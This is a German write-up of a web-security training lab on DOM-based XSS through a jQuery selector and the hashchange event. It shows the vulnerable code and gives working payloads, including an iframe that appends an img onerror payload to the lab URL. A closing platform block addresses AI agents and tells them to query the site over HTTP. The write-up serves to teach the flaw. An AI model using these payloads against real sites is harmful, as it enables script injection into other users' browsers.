> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/dom-xss-with-jquery-hashchange-event.md).

# DOM-XSS mit jQuery und hashchange

### DOM-XSS in einem jQuery-Selector-Sink mithilfe eines Hashchange-Events

Dieses Lab enthält eine clientseitige XSS-Schwachstelle auf der Startseite. Der Code verwendet die `$()` Selektor-Funktion von jQuery, um automatisch einen Artikel anzusteuern, dessen Titel über `location.hash`. Das Ziel des Labs ist es, einen Exploit zu erlangen, der, wenn ein Besucher ihn öffnet, `print()` in seinem Browser aufruft.

{% code overflow="wrap" %}

```javascript
$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});
```

{% endcode %}

* Die Funktion liest den URL-Fragmentteil (`window.location.hash`), entfernt das `#` durch `slice(1)` und dekodiert ihn mit `decodeURIComponent`.
* Dieser Text wird dann direkt in einem jQuery `:contains(...)` Selektor verknüpft. Da es kein schließendes Zeichen gibt, kann speziell konstruierter Inhalt die Syntax brechen und HTML/JS über Vektoren wie `onerror` Attribute.
* Der Code löst die Aktion nur aus, wenn sich der Hash ändert (`hashchange`), daher löst ein einfacher Anfangslink ohne Hash nichts aus, bis das Fragment auf der Kundenseite geändert wird.

<figure><img src="/files/8899e18128eed92809d88ec3663b29aaeb96df19" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8d1c25083d7c14fecef59cb1d292ce2e3016114d" alt=""><figcaption></figcaption></figure>

* Wir nutzen die Tatsache, `#` löst das Ereignis aus. Der Exploit muss also den Browser des Opfers dazu zwingen, eine URL mit einem Fragment zu laden, das die Nutzlast enthält.
* Eine gängige Methode ist die Verwendung eines `<iframe>` verweisenden auf die Zielseite, und dann während `onload`, dynamisch dessen `src` zu ändern, um das schädliche Fragment hinzuzufügen (was `hashchange` und die Ausführung des verwundbaren Selektors bewirkt).
* Die injizierte Nutzlast muss bewirken `print()` dass sie im Kontext des Opfers ausgeführt wird.

Einfache Injektion, um einen Bildfehler auszulösen (Test):

```javascript
#<img src="test" onerror=alert(0)>
```

<figure><img src="/files/b0380650c9cfe7b27485b1a49c5fd54e69860122" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c299aa6f07045ef32660974cf395d7e11535431c" alt=""><figcaption></figcaption></figure>

* Exploit über iframe — erste Version (alert):

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=alert(0)>'"></iframe>
```

{% endcode %}

* Finaler Exploit für `print()` (angepasste Version):

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=print()>'"></iframe>
```

{% endcode %}

<figure><img src="/files/037a7bd61c6579461b389653b910c4d8c5f3aebe" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/dom-xss-with-jquery-hashchange-event.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
